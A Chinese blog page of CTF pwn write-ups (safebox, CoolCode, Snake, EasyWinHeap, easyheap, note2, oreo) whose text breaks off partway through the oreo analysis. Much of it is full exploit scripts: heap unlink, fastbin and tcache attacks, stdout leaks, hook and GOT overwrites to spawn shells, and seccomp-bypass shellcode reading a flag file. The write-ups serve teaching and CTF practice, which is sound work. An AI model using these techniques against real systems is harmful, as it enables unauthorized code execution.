分类 writeups 下的文章

safebox

题目文件

pwn

libc.so

分析

这个题感觉挺经典的,分配堆时存在一字节溢出。且只能在分配时写入,不能修改,不能打印堆块内容。

整理一下大致的思路,因为需要写malloc_hook或者free_hook,可以尝试先利用_IO_FILE_stdout泄露地址。既然需要泄露地址那就需要构造unsortedbin和伪造tcache(这里是难点)。主要构造方式参考了sad师傅的思路:利用unlink的方式将四个堆块构造成overlapping,合并成一个大的unsortedbin,同时保留中间两个堆块的指针以便在后续步骤中释放被覆盖的堆块,使其进入tcache,这样堆块上如果有stdout的地址就可以通过两次malloc进行修改_IO_FILE_stdout。还有一个问题就是如何进行部分写构造出stdout的地址?其实很简单,只要从构造出的大unsortedbin中切割一部分,让剩下的部分对齐之前保留的指针,然后再次申请malloc(1)就可以写unsorted_arena低二字节,进行爆破。

整理如下:

  • 构造4个块的overlapping(unlink);
  • 释放被覆盖堆块、切割unsortedbin、部分写伪造tcache;
  • stdout泄露libc;
  • 同第二步类似写freehook为system函数地址;
  • 最后,向一个堆块写入/bin/sh并将其释放即可.

注意本题one_gadget的各种利用方式都失效了,更改为用free_hook的方式

爆破脚本

环境:ubuntu18.04 libc2.27 python3

适合本地复现用,原题线上环境拿shell后需要输入token,有些区别

from pwn import *
import sys

context.log_level = "debug"

def add(idx:int, length:int, content):
    p.recvuntil(b">>>")
    p.sendline(b"1")
    p.recvuntil(b"idx:")
    p.sendline(str(idx).encode())
    p.recvuntil(b"len:")
    p.sendline(str(length).encode())
    p.recvuntil(b"content:")
    p.send(content)

def delete(idx:int):
    p.recvuntil(b">>>")
    p.sendline(b"2")
    p.recvuntil(b"idx:")
    p.sendline(str(idx).encode())

def exit():
    p.recvuntil(b">>>")
    p.sendline(b"3")

def exp():
    global p 
    p = process("./pwn")
    elf = ELF("./pwn")
    libc = ELF("./libc.so.6")
    # make unsortedbin for unlink
    for i in range(7):
        add(i, 0xf8, b"aaaa") #idx:0-6
    ## unlink header
    add(7, 0xf8, b"idx7") #idx7
    ## keep ptr
    add(8, 0x88, b"idx8") #idx8
    add(9, 0x98, b"idx9") #idx9
    add(10, 0xf8, b"idx10") #idx10
    add(11, 0x10, b"pppp");
    for i in range(7):
        delete(i) # del idx:1-6
    delete(7)
    delete(9)
    payload1 = b"a"*0x90 + p64(0x90+0xa0+0x100) + b"\x00"
    add(9, 0x98, payload1) #idx9
    delete(10)
    #gdb.attach(p)
    # remalloc, UAF, fake tcache
    ## remalloc for UAF
    ## we have kept ptr: idx8, idx9 , and so we can make 2 fake tcaches
    for i in range(7):
        add(i, 0xf8, b"aaaa") #idx:0-6
    ### partial free
    delete(8)
    add(7, 0xf8, b"idx7") #idx7
    add(8, 0x1, b"\x60\xc7") #idx8
    ### attack _IO_FILE_stdout
    add(12, 0x88, b"idx12") #idx12
    #gdb.attach(p)
    payload2 = p64(0xfbad1800) + p64(0)*3 + b"\n"
    add(12, 0x88, payload2)
    ### leak libc_base
    p.recvn(23, timeout=1)
    leak = u64(p.recvn(8, timeout=1))
    libc_base = leak - 0x3eb780
    malloc_hook = libc_base + libc.symbols[b"__malloc_hook"]
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    #one = libc_base + 0x10a38c
    one = libc_base + libc.symbols[b"system"]
    print("leak:",hex(leak))
    print("libc_base:",hex(libc_base))
    print("malloc_hook:",hex(malloc_hook))
    print("free_hook:",hex(free_hook))
    print("one:",hex(one))

    # write malloc_hook
    delete(9)
    add(13, 0x68, b"idx13") #idx13
    payload3 = p64(free_hook)
    add(13, 0x8, payload3) #idx13
    add(13, 0x98, b"idx13") #idx13
    add(13, 0x98, p64(one)) #idx13
    #gdb.attach(p)
    ## go one_gadget
    add(15, 0x30, b"/bin/sh\x00")
    delete(15)
    p.sendline("ls")
    ret = p.recv()
    if b"flag" in ret:
        p.sendline("cat flag")
        print(p.recv())
        print("SUCCESS")
        sys.exit(0)
    else:
        print("NOT SUCCESS")
        p.close()

if __name__ == "__main__":
    while True:
        try:
            exp()
        except Exception as e:
            print("ERROR:",str(e))
            p.close()

解题思路综合了wp和比赛时的思路,做了一点简化

CoolCode

这题一开始粗心了,没看见有个逻辑漏洞导致可以绕过可见字符判断,但是在这种情况下sad师傅还是吧shellcode构造出来了,实属牛批…..

分析

  1. add功能在bss段保存堆指针,但是没限制index可以为负数,导致可以覆盖got表为堆指针
  2. add功能在读取输入的时候会用一个函数检查输入中是否包含了非数字和大写字母内容,如果有则调用exit结束程序。但是这个函数存在一个逻辑漏洞,当输入长度为1时,for循环不会进入,导致存在1字节的无效过滤。
  3. 只要覆盖free_got到堆上,并写入ret指令对应的字节b"\xc3″,就可以在exit时返回继续执行,绕过检查。(虽然绕过了检查,但是由于程序使用strncpy拷贝内容,还要注意\x00截断问题)
if ( (unsigned int)filter_input((__int64)s, num) )// 限制输入内容
  {
    puts("read error.");
    exit(1);
  }
signed __int64 __fastcall filter_input(__int64 buf, int len)
{
  int i; // [rsp+14h] [rbp-8h]

  for ( i = 0; i < len - 1; ++i )
  {
    if ( (*(_BYTE *)(i + buf) <= 47 || *(_BYTE *)(i + buf) > 57)// 0~9
      && (*(_BYTE *)(i + buf) <= 64 || *(_BYTE *)(i + buf) > 90) )// 大写字母
    {
      return 1LL;                               // error
    }
  }
  return 0LL;
}
  1. 堆上有执行权限,可以考虑构造read调用把shellcode读到write_got指向的堆上执行(只要加好偏移,执行完read调用后就会立刻执行shellcode)
  2. 程序开启了seccomp保护,只剩下部分系统调用号,其中fstat刚好对应32位下的open,于是想到在shellcode中可以使用retf切换到32位打开“./flag"再回到64位read&write。(这里是难点,retf通过pop ip和pop cs改变程序位数,要注意retf在构造栈时需要按照32位栈来构造)
  3. 最后从返回中读取flag即可

EXP

from pwn import *
p=process("./coolcode")
context.log_level = "debug"
#p=remote("39.107.119.192",9999)
def add(index,content):
    p.recvuntil(b"Your choice :")
    p.sendline(b"1")
    p.recvuntil(b"Index: ")
    p.sendline(str(index).encode())
    p.recvuntil(b"messages: ")
    p.send(content)

def show(index):
    p.recvuntil(b"Your choice :")
    p.sendline(b"2")
    p.recvuntil(b"Index: ")
    p.sendline(str(index).encode())

def delete(index):
    p.recvuntil(b"Your choice :")
    p.sendline(b"3")
    p.recvuntil(b"Index: ")
    p.sendline(str(index).encode())

def exp():
    #gdb.attach(p,"b *0x400E61\nc\n")
    # no \x00
    read_shellcode = '''
    xor rdi, rdi;
    sub rsi, 0x30
    mov rdx, rsi;
    xor rax, rax;
    syscall;
    '''
    read_shellcode = asm(read_shellcode, arch="amd64")
    add(-22, "\xc3") # exit_got->ret
    add(-34, read_shellcode) # write_got
    add(0, "CCCCCCCC")
    show(0)

    shellcode = ""
    a = '''
        add rcx, 19;
        mov rbx, 0x23
        SHL rbx, 32;
        add rcx, rbx;
        push rcx;
        retf
        mov esp, edx
        '''
    shellcode += asm(a,arch="amd64");

    b = '''
        mov eax, 5;
        push 0x00006761;
        push 0x6c662f2e;
        mov ebx, esp;
        mov ecx, 0;
        int 0x80;

        add edx, 0x43;
        push 0x33
        push edx
        retf
        '''
    shellcode += asm(b,arch="i386");

    c = '''
        mov rdi, rax;
        mov rsi, 0x602100;
        mov rdx, 0x40;
        mov rax, 0;
        syscall;

        mov rdi, 1;
        mov rsi, 0x602100;
        mov rdx, 0x40;
        mov rax, 1;
        syscall;
        '''
    shellcode += asm(c,arch="amd64");
    p.sendline("\x90"*0xe+shellcode)
    show(0)

    p.interactive()

if __name__ == "__main__":
    exp()

Snake

是个趣味题,思路不难,关键是io量太大了,容易卡住…

分析

  1. 程序是个贪吃蛇游戏,游戏地图和玩家姓名保存在堆上。假如游戏死亡,会根据死亡位置让你留下一段信息,这段信息写在存着地图的堆块上。经过测试,只要在右下角死亡,就会存在off_by_one,可以修改下一堆块的prev_size和size的低字节。
  2. 由于保存姓名的堆块大小有限制,不能为unsorted_bin,于是通过off_by_one的修改出一个unsorted_bin,同时构造一个overlapping。
  3. 泄露出unsorted_arena计算出libc_base,并利用overlapping修改其中fast_chunk的指针,把堆块分配到malloc_hook。
  4. 最后往malloc多试几个one_gadget就可以getshell了
  5. 要注意,在写脚本的时候,recv()一次游戏只会刷新一帧,需要写一个while循环send(“s”)方向键直到出现死亡信息。

EXP

from pwn import *
import time

p = process("./snake")
context.log_level = "debug"
#p = remote("39.107.244.116",9999)
def add(index,length,name):
    p.recvuntil(b"4.start name\n")
    p.sendline(b"1")
    p.recvuntil(b"index?\n")
    p.sendline(str(index).encode())
    p.recvuntil(b"how long?\n")
    p.sendline(str(length).encode())
    p.recvuntil(b"name?\n")
    p.sendline(name)

def delete(index):
    p.recvuntil(b"4.start name\n")
    p.sendline(b"2")
    p.recvuntil(b"index?\n")
    p.sendline(str(index).encode())

def get(index):
    p.recvuntil(b"4.start name\n")
    p.sendline(b"3")
    p.recvuntil(b"index?\n")
    p.sendline(str(index).encode())

def start():
    p.recvuntil(b"4.start name\n")
    p.sendline(b"4")

def play2die():
    while(1):
        ret = p.recv()
        if b"please leave words:\n" in ret:
            break
        else:
            p.send("s")
        time.sleep(0.6)

def exp():
    p.recvuntil(b"how long?\n")
    p.sendline(b"96")
    p.recvuntil(b"input name\n")
    list_start = 0x603140 #name_ptr_list
    name = b"A"*8
    p.sendline(name)

    play2die()

    words = b"123123"
    p.sendline(words)
    p.recvuntil(b"if you want to exit?\n")
    p.sendline(b"n")
    add(1,0x60,b"BBBBBBBB")
    add(2,0x20,p64(0xf0)+p64(0x21))

    start()
    play2die()
    words = b"A"*(4+0x40) + b"B"*8 + b"\xf1"
    p.send(words)
    p.recvuntil(b"if you want to exit?\n")
    p.sendline(b"n")
    delete(0)
    delete(1)

    start()
    p.recv(13)
    unsorted_arena = u64(p.recv(6).ljust(8,b"\x00"))
    libc_base = unsorted_arena - 0x3C4B20 - 0x58
    fake_chunk_start = libc_base + 0x3C4AED
    one_gadget = libc_base + 0xf1147
    malloc_hook = libc_base + 0x3c4b10
    print("unsorted_arena",hex(unsorted_arena))
    print("libc_base",hex(libc_base))
    print("fake_chunk_start",hex(fake_chunk_start))
    print("one_gadget",hex(one_gadget))
    print("malloc_hook",hex(malloc_hook))

    play2die()

    words = b"123123"
    p.sendline(words)
    p.recvuntil(b"if you want to exit?\n")
    p.sendline(b"n")

    add(0,0x50,b"AAAAAAAA")
    add(1,0x20,p64(0)+p64(0x71)+p64(fake_chunk_start))


    add(3,0x60,b"DDDDDDDD")
    add(4,0x60,b"A"*0x13+p64(one_gadget))
    print("one_gadget",hex(one_gadget))
    print("malloc_hook",hex(malloc_hook))

    p.recvuntil(b"4.start name\n")
    p.sendline(b"1")
    p.recvuntil(b"index?\n")
    p.sendline(str(5).encode())
    p.recvuntil(b"how long?\n")
    p.sendline(str(16).encode())
    p.interactive()

if __name__ == "__main__":
    exp()

EasyWinHeap

这题比赛的时候没做…比赛结束后搭建了好久的winpwn环境,然后向sad学习了一下windbg的调试。

?

关于windows的很多机制,之前没了解过,大部分来自于网上一点点的资料,还有《程序员的自我修养》。所以讲不了很详细,如果哪位师傅有详细的win堆管理机制学习资料劳烦嫖一份~

分析

程序逻辑不复杂,甚至存在很多漏洞

  1. alloc的时候将将 puts函数指针 | ((size>>4)+1) 之后和堆指针一起放置在堆上。然后在show的时候通过&0xFFFFFFF0 运算还原函数指针,然后puts堆上内容。(其实调试的时候发现函数指针最低位的变化不用考虑,应该只是做混淆)
    附:堆上指针保存位置
0:004> dd 0x1270490 0x1270600 
01270490  b1dc07df 080013cd 00011048 
01270520 012704a0  00011048 01270530 
00011048 01270540 012704b0  00011048 
01270550 00011048 01270560 012704c0  
00011048 01270570 00000000 00000000
  1. alloc的size并不是输入的size,而是之前的(size>>4)+1,但是edit的时候却是按照size长度来输入。明显存在堆溢出。
  2. 考虑修改堆上的puts指针为system或winexev的指针,然后把堆内容写"cmd.exe"作为参数(在我的系统版本,system地址包含了\x0a,导致输入会被破坏,于是只能使用winexec)。而winexev在kernel32中,和HeapFree一样,于是需要先泄露HeapFree的地址来计算偏移。既然要泄露HeapFree地址,就要把堆上保存的堆指针覆盖为HeapFree的iat地址。既然需要控制堆上指针,就需要构造unlink(win下的unlink与Linux稍有不同,主要是fd和bk都指向用户可控区域)。
    附:堆结构
01270510  00000000 00000000 a2dc07cc 
0800134e 01270520  012700c0 012700c0 
a2dc07cc 0800135d 01270530  012700c0 
012700c0 a3dd07cc 0000135d 01270540  
01270580 01270560 a2dc07cc 0800135d 
01270550  012700c0 012700c0 a3dd07cc 
0000135d 01270560  01270540 012700c0 
a2dc07cc 0800135d 01270570  012700c0 
012700c0 efdd0483 0000135d 01270580  
012700c0 01270540 00000000 00000000 
01270590  00000000 00000000 00000000 
00000000
  1. unlink构造完后就可以达成任意读写,这时只需要泄露出puts指针,计算出image_base,就衔接上了第三点的逻辑。
  2. 需要注意的是,由于edit输入后,末尾会存在00截断,导致破坏堆上原有内容,所以需要合理安排堆布局,并通过泄露部分内容以便在输入时顺便修补(详见EXP)。

EXP

from winpwn import *
context.arch='i386'
#context.log_level='debug'
context.windbg="C:\\Program Files\\WindowsApps\\Microsoft.WinDbg_1.2001.2001.0_neutral__8wekyb3d8bbwe\\DbgX.Shell.exe"
p=process("./EasyWinHeap.exe")

#windbg.attach(p)

def add(size):
    p.recvuntil("option >")
    p.sendline("1")
    p.sendline(str(size))
def free(index):
    p.recvuntil("option >")
    p.sendline("2")
    p.recvuntil("index >")
    p.sendline(str(index))
def show(index):
    p.recvuntil("option >")
    p.sendline("3")
    p.recvuntil("index >")
    p.sendline(str(index))
def edit(index,content):
    p.recvuntil("option >")
    p.sendline("4")
    p.recvuntil("index >")
    p.sendline(str(index))
    p.recvuntil("content  >")
    p.sendline(content)

add(0x70) #idx0
add(0x70) #idx1
add(0x70) #idx2
add(0x70) #idx3
add(0x70) #idx4
add(0x70) #idx5
#windbg.attach(p)
free(2)
free(4)
#windbg.attach(p)
show(2)   #过滤换行

p.recvuntil("\r\n")
ret = p.recvuntil("\r\n")
print("len(ret):",len(ret))
heap_base = u32(ret[:4]) - 0x580
idx2pptr = heap_base + 0x4a0 + 0x4*3 #0x4ac

print("heap_base:", hex(heap_base)) #泄露堆地址
print("idx2pptr:", hex(idx2pptr))

#伪造指针
#这里的ret[8:12]就是上一步额外泄露的内容,目的是修补堆块
edit(2, p32(idx2pptr-0x4)+p32(idx2pptr)+ret[8:12]) 
#windbg.attach(p)
#dd 0x1270490 0x1270600
#unlink
free(1)

#leak image_base & winexec/system
edit(2, p32(idx2pptr+0x10))
#windbg.attach(p)

show(2)
p.recvuntil("\r\n") #过滤换行
p.recv(4)
image_leak = u32(p.recv(3).ljust(4,"\x00"))
image_base = image_leak - 0x1048
idata_heapfree = image_base + 0x2004
print("image_leak:", hex(image_leak))
print("image_base:", hex(image_base))
print("idata_heapfree:", hex(idata_heapfree))

edit(2, p32(idata_heapfree))
#windbg.attach(p)
show(4)
p.recvuntil("\r\n") #过滤换行
heapfree = u32(p.recv(4))
winexec = heapfree - 0x11D10 + 0x5EA90
print("puts:", hex(heapfree))
print("winexec:", hex(winexec))

edit(3, "cmd.exe")
edit(2, p32(idx2pptr+0x4))
edit(4, p32(winexec)+p32(heap_base+0x550))
#windbg.attach(p)
p.recvuntil("option >")
p.sendline("3")

p.interactive()

注意该exp对堆地址字节数有限制(4字节),所以有时要多跑几遍。

直接用shellcode解的方法比较容易,但是另一种攻击stdout泄露地址的方法更为巧妙

0x00 预期解,使用shellcode

思路:

  • 拿到mmap的地址,以及程序基地址
  • 构造unlink拿到bss段上的控制权
  • 往mmap段(rwx权限)写入shellcode
  • 在bss上构造fake chunk后free掉,拿到unsorted_bin_arena改写为malloc_hook
  • 写malloc_hook为mmap的地址

踩坑:

  • 第0个堆块大小没分配够导致后面写的能力不够,小问题
  • 第1的堆块大小没弄对,因为要保证通过检测的情况下,利用off_by_null修改第一个字节,第1个堆块只能申请为0xf8或者0xf0(p->size为0×101,offbynull后为0×100)
  • 最后free fake_chunk的时候报错,发现因为我只在fake_chunk后面构造了一个0×21的chunk,导致free后的chunk与该chunk发生合并,检测出错。于是再增加一个0×21的chunk阻止合并即可。

exp

from pwn import *

p = process("./easyheap")
elf = ELF("./easyheap")
libc = ELF("./libc.so.6")

context.log_level = "debug"
context.arch = "amd64"

def alloc(size:int):
    p.recvuntil(">> ")
    p.sendline(b"1")
    p.recvuntil("Size: ")
    p.sendline(str(size).encode())
    
def delete(index:int):
    p.recvuntil(">> ")
    p.sendline(b"2")
    p.recvuntil("Index: ")
    p.sendline(str(index).encode())

def fill(index:int,content):
    p.recvuntil(">> ")
    p.sendline(b"3")
    p.recvuntil("Index: ")
    p.sendline(str(index).encode())
    p.recvuntil("Content: ")
    p.sendline(content)

def exp():
    p.recvuntil(b"Mmap: ")
    # leak addr
    mmap_addr = int(p.recvuntil('\n',drop=True),16)
    print("mmap_addr:",hex(mmap_addr))
    alloc(0xf8) #idx0
    p.recvuntil(b"chunk at [0] Pointer Address ")
    p_base = int(p.recvuntil('\n',drop=True),16) - 0x202068
    print("p_base:",hex(p_base))
    
    # unlink
    alloc(0xf8) #idx1 
    alloc(0x20) #idx2
    target = p_base + 0x202068
    fd = target - 0x18
    bk = target - 0x10
    payload1 = p64(0) + p64(0x21) + p64(fd) + p64(bk) + p64(0x20) + p64(0) + b"a"*0xc0 + p64(0xf0)
    fill(0,payload1)
    #gdb.attach(p)
    delete(1)
    #gdb.attach(p)
    
    # write shellcode to mmap_addr
    payload2 = p64(0)*2 + p64(0xf8) + p64(p_base + 0x202060 + 0x18) + p64(0x140)
    payload2 += p64(mmap_addr)
    fill(0,payload2)
    fill(1,asm(shellcraft.sh())) #
    
    # get malloc_hook_addr
    payload3 = p64(p_base + 0x202060 + 0x30) + p64(0x20) + p64(0x91) + b"a"*0x88
    payload3 += p64(0x21) + b"a"*0x18 + p64(0x21) # be careful
    fill(0,payload3)
    #gdb.attach(p)
    delete(1) # free fake_chunk
    fill(0,p64(0)*3 + p64(0x20) + b"\x10")
    fill(3,p64(mmap_addr))
    alloc(0x20)
    
    # get_shell
    p.interactive()

if __name__ == "__main__":
    exp()

0x01 攻击stdout的方法

思路

  • 构造overlapping
  • fastbin attack拿到stdout写,获得libc_base
  • fastbin attack攻击malloc hook

细节标注在exp的注释中

exp

from pwn import *

p = process("./easyheap")
elf = ELF("./easyheap")
libc = ELF("./libc.so.6")

context.log_level = "debug"

def alloc(size:int):
    p.recvuntil(b">> ")
    p.sendline(b"1")
    p.recvuntil("Size: ")
    p.sendline(str(size).encode())
    
def delete(index:int):
    p.recvuntil(b">> ")
    p.sendline(b"2")
    p.recvuntil("Index: ")
    p.sendline(str(index).encode())

def fill(index:int,content):
    p.recvuntil(b">> ")
    p.sendline(b"3")
    p.recvuntil(b"Index: ")
    p.sendline(str(index).encode())
    p.recvuntil(b"Content: ")
    p.sendline(content)

#IO_FILE
def exp():
    #构造overlapping
    alloc(0x88) #idx0
    alloc(0x68) #idx1
    alloc(0xf8) #idx2
    alloc(0x10) #idx3 
    delete(0)
    payload1 = b"a"*0x60 + p64(0x100)
    fill(1,payload1)
    delete(2) # unlink&overlapping
    delete(1)
    #gdb.attach(p)
    
    #让中间的fast chunk出现unsorted arena的地址,便于部分写后跳转到stdout附近的fakechunk
    alloc(0x88) #idx0
    delete(0)
    
    #攻击stdout
    alloc(0x100) #idx0 用于控制中间的fastchunk
    payload2 = b"a"*0x80 + p64(0x90) + p64(0x71) + b"\xdd\x25"  #fakechunk offset
    fill(0,payload2)
    alloc(0x68) #idx1
    alloc(0x68) #idx2 stdout fakechunk
    #payload3最后的\x00是覆盖了char* _IO_write_base的低位,控制输出的起始位置
    payload3 = b"\x00"*0x33 + p64(0xfbad1800) + p64(0)*3 + b"\x00"  
    fill(2,payload3)
    
    #获取输出并计算libc_base和一些必要地址
    base_offset = 0x3C56A4
    malloc_hook_fakechunk_offset = 0x3C4AED
    realloc_offset = 0x846c0
    one_gadget_offset = 0xf1147
    p.recv(0x48)
    libc_base = u64(p.recv(8)) - base_offset
    malloc_hook_fakechunk = libc_base + malloc_hook_fakechunk_offset
    realloc = libc_base + realloc_offset
    one_gadget = libc_base + one_gadget_offset
    print("libc base:",hex(libc_base))
    print("malloc_hook_fakechunk:",hex(malloc_hook_fakechunk))
    print("realloc:",hex(realloc))
    print("one_gadget:",hex(one_gadget))
    
    #利用fastbin attack分配fake chunk到malloc hook附近
    delete(1) #修复fastbin,否则无法进行fastbin attack

    payload4 = b"a"*0x80 + p64(0x90) + p64(0x71) + p64(malloc_hook_fakechunk) #fakechunk addr
    fill(0,payload4)
    alloc(0x68) #idx1
    alloc(0x68) #idx4 malloc_hook_fakechunk
    
    #malloc_hook to one_gadget
    #直接malloc_hook->gadget无法getshell,尝试先跳到realloc调整栈
    payload5 = b"a"*(0x13-0x8) + p64(one_gadget) + p64(realloc)
    fill(4,payload5)
    alloc(0x10)

    #跑几次脚本看运气弹shell
    p.interactive()
    

if __name__ == "__main__":
    exp()

算是unlink的一道经典题目,借助这道题来整理一下Unlink任意写的基本使用方法与注意事项。exp参照官方wp做了调整。

这里不对题目本身做太多逆向分析,下面是下载链接,包含了题目和exp:
点击下载

0x00 Unlink的原理

unlink的过程

Unlink顾名思义就是把元素从链表取出的一种操作,这种操作常常发生在malloc和执行free后内存块合并的过程。这是unlink的流程图:

可以简单归结为FD->bk = fd , BK->fd = bk ,也就是指针值的传递。

向低地址合并

这里着重讨论见得较多的情况:向前合并。

如果被free的是一个非fastbin大小的内存块,将会优先从内存低地址区域寻找空闲部分进行合并(尔后再尝试向高地址合并)。向低地址合并前,被合并的块(位于高地址)需要经过一些检查,这些检查也是我们构造exp时要注意绕过的地方:

检查目标检查条件报错信息
size vs prev_sizechunksize(P) != prev_size (next_chunk(P))corrupted size vs. prev_size
Fd, bk 双向链表检查FD->bk != P || BK->fd != Pcorrupted double-linked list
nextsize 双向链表P->fd_nextsize->bk_nextsize != P || P->bk_nextsize->fd_nextsize != Pcorrupted double-linked list (not small)

主要关注前两项,也就是内存块大小检查双链表完整性检查

  • 内存块大小的检查是通过读取被检查内存块的nextchunk的prevsize与自身size作比较,而“prevsize”(不一定是真的prevsize)的位置又是由size决定。于是我们就可以在原有的chunk中利用可写的部分伪造出一个fake_chunk,在这个chunk的末尾pad上一个fake_prevsize,从而绕过了对被合并内存块的大小检查。
  • 双向链表的完整性检查其实通俗而言就是检查:上一个节点的下一个节点是不是自己,下一个节点的上一个节点是不是自己。这个检查通过对前后节点bk,fd域和自身起始地址的比较实现。意味着,只要找到静态数据区域中记录了本区块地址的位置addr,构造 p->fd = addr-0x18 和 p->bk = addr-0x10就可以绕过该检查

关于为什么要unlink

这是glibc实现向前合并的部分代码:

        /* consolidate backward */
        if (!prev_inuse(p)) {
            prevsize = prev_size(p);
            size += prevsize;
            p = chunk_at_offset(p, -((long) prevsize));
            unlink(av, p, bck, fwd);
        }

其实我不能从linux开发者的角度而言完整的解释unlink存在的必要性。但是通过对bins特性的分析可以知道,通常bins中链接的是大小相同的chunk,当合并动作发生,改变了原有chunk的大小,就需要脱出原先的bins(unlink),加入unsortedbin中,减少内存中的碎片。需要注意的是,如果向前合并后发现向后可以直接合并进入top chunk那么将会整个进入top chunk,调试的时候要留心一下。

0x01 题目分析

首先要想构造fakechunk起码得找个能堆溢出的地方,一开始检查了好几遍输入函数都没发现整数溢出(还是题见得少)。

unsigned __int64 __fastcall get_input(__int64 ptr, __int64 len, char EOF)
{
  char endchar; // [rsp+Ch] [rbp-34h]
  char buf; // [rsp+2Fh] [rbp-11h]
  unsigned __int64 i; // [rsp+30h] [rbp-10h]
  ssize_t num; // [rsp+38h] [rbp-8h]

  endchar = EOF;
  for ( i = 0LL; len - 1 > i; ++i )             // i是无符号的,在做比较的时候会化为无符号比较,若len为0,则len-1为0xFFFFFFFFFFFFFFFF,导致条件永真,堆溢出
  {
    num = read(0, &buf, 1uLL);
    if ( num <= 0 )
      exit(-1);
    if ( buf == endchar )
      break;
    *(_BYTE *)(i + ptr) = buf;
  }
  *(_BYTE *)(ptr + i) = 0;
  return i;
}

这个函数中,for循环的 i 是无符号整数,在与len-1作比较时会先将len-1也转化为无符号类型,这时候如果len传入1,len-1将变成0xFFFFFFFFFFFFFFFF,使得表达式恒成立,可以不加限制地进行输入,导致了堆块的溢出。

该程序会将申请到的堆块指针和申请的大小保存在全局变量区,修改这部分内容可能可以利用程序自身的edit功能进行任意写。

顺带一提,程序关闭了GOT表保护,这提示了我们可以通过改写got表来getshell。

0x02 exp思路

这题的堆块创建次数最多4次,所以不太方便用fastbin attack进行任意写,于是尝试unlink。

构造任意写到全局变量

chunk[0] 首先需要一个容纳fakechunk的内存块,我们设想的fakechunk只需要包含一个fastchunk + 一个fake_prevsize域就够了。同时要留意,我们后面的步骤可能要借助edit功能写某些地址,所以申请的size可以大一些,不然可能到时可写的字节数不够。经过计算,申请0x40获得一个0x50的块是最划算的大小。

chunk[1] 其次需要利用整数溢出,申请大小为“0”的块达到无限制输入。但是由于堆的分配机制,会给用户分配0x20大小的堆块。

chunk[2] 最后需要一个0x90(申请0x80)的small chunk,这样释放之后才能触发向前合并从而触发unlink

按照上文在chunk[0]中将fakechunk的fd和bk设置为:&chunk[0]-0x18,&chunk[0]-0x10,并利用溢出修改chunk[2]的prevsize和prev_inuse域。此时free掉chunk[2]便可以触发unlink,使得原来存放 &chunk[0] 的地址存放了 &chunk[0]-0x18 。

只要用edit功能从chunk[0]-0x18开始往后写并覆盖chunk[0]为strlen@got的地址,再show chunk[0]就可以泄露libc拿到system地址。

同样的方法修改strlen@got的值为system地址,这时只要出现了strlen("/bin/sh\x00"); 就相当于执行了"system("/bin/sh\x00")"

exp

#!/usr/bin/python3

from pwn import *

p=process("./note2")
elf=ELF("./note2")
libc=ELF("./libc.so.6")

context.log_level="debug"

strlen_plt=elf.plt[b"strlen"]
strlen_got=elf.got[b"strlen"]

def new(content,length:int):
    p.recvuntil(b'option--->>')
    p.sendline(b"1")
    p.recvuntil(b"Input the length of the note content:(less than 128)\n")
    p.sendline(str(length).encode())
    p.recvuntil(b"Input the note content:\n")
    p.sendline(content)
    pass
    
def show(idx:int):
    p.recvuntil(b'option--->>')
    p.sendline(b"2")
    p.recvuntil(b"Input the id of the note:\n")
    p.sendline(str(idx).encode())
    pass
    
def edit(idx:int,mode:int,content):
    p.recvuntil(b'option--->>')
    p.sendline(b"3")
    p.recvuntil(b"Input the id of the note:\n")
    p.sendline(str(idx).encode())
    p.recvuntil(b"do you want to overwrite or append?[1.overwrite/2.append]\n")
    p.sendline(str(mode).encode())
    p.recvuntil(b"TheNewContents:")
    p.sendline(content)
    pass

def delete(idx:int):
    p.recvuntil(b'option--->>')
    p.sendline(b"4")
    p.recvuntil(b"Input the id of the note:\n")
    p.sendline(str(idx).encode())
    pass
    
def exp():
    name=b"aaaa"
    address=b"bbbb"
    p.recvuntil(b"Input your name:\n")
    p.sendline(name)
    p.recvuntil(b"Input your address:\n")
    p.sendline(address)
    
    #1 unlink
    list_head = 0x602120
    fake_fd = list_head-0x18
    fake_bk = list_head-0x10 #result: fake_bk->fd == fake_fd
    #payload1=b"a"*8+p64(0x61)+p64(fake_fd)+p64(fake_bk)+b'a'*64+p64(0x60)
    
    payload1=b"a"*8+p64(0x21)+p64(fake_fd)+p64(fake_bk)+p64(0x20)
    new(payload1,0x40) #idx0
    new(b"b"*0x8,0) #idx1
    new(b"c"*0x10,0x80) #idx2
    
    delete(1) # del idx1
    payload2=b"b"*0x10+p64(0x60)+p64(0x90)
    new(payload2,0) #idx3
    delete(2)
    
    #2 rewrite&leak
    payload3=b"d"*0x18+p64(strlen_got)
    edit(0,1,payload3)
    show(0)
    #gdb.attach(p)
    p.recvuntil(b"Content is ")
    strlen = u64(p.recvuntil(b"\n",drop=True).ljust(8,b"\x00"))
    system=libc.symbols[b"system"]-libc.symbols[b"strlen"]+strlen
    print("strlen@got: ",hex(strlen_got))
    print("strlen: ",hex(strlen))
    print("system: ",hex(system))
    
    #3 edit strlen@got to system
    payload4=p64(system)
    edit(0,1,payload4)
    edit(0,1,b"/bin/sh\x00") #trigger to use "strlen()" so that jump to system()
    
    #getshell
    p.interactive()
    
    
if __name__=="__main__":
    exp()

方法思路不唯一,欢迎补充。

题目很巧妙,而且很容易忽略一些细节导致掉进坑里出不来。本人在写的时候就遭遇了一些百思不得解的问题,而后通过慢慢的调试推演找到了问题所在地。在博客里?一下,防止以后再犯。

参考资料: https://wiki.x10sec.org/pwn/heap/fastbin_attack/

题目概况

题目名:2014_hack.lu_oreo

防护措施:

$ checksec oreo
[*] '/home/eqqie/CTF/ctf-challenges/pwn/heap/fastbin-attack/2014_hack.lu_oreo/oreo'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE

RELRO是关的,说明很可能需要进行覆盖got表的操作。(常规套路lol)

代码审计

在IDA中逆向分析该程序的功能功能构成以及可能被利用的位置。

该程序是一个模拟线上枪支交易系统,可以新建枪支信息(name,description)以及提出Order,还可以写一段 message,以及查看 added rifles 和 state。看起来挺繁杂的,需要慢慢理清相互之间的关系。

相关函数信息:

1. Add new rifle

unsigned int add_new()
{
  char *prev_chunk; // [esp+18h] [ebp-10h]
  unsigned int v2; // [esp+1Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  prev_chunk = curr_chunk_ptr;
  curr_chunk_ptr = (char *)malloc(56u);
  if ( curr_chunk_ptr )
  {
    *((_DWORD *)curr_chunk_ptr + 13) = prev_chunk;// 最后四个字节保存上次申请的chunk的指针
    printf("Rifle name: ");
    fgets(curr_chunk_ptr + 25, 56, stdin);
    line_end_check(curr_chunk_ptr + 25);
    printf("Rifle description: ");
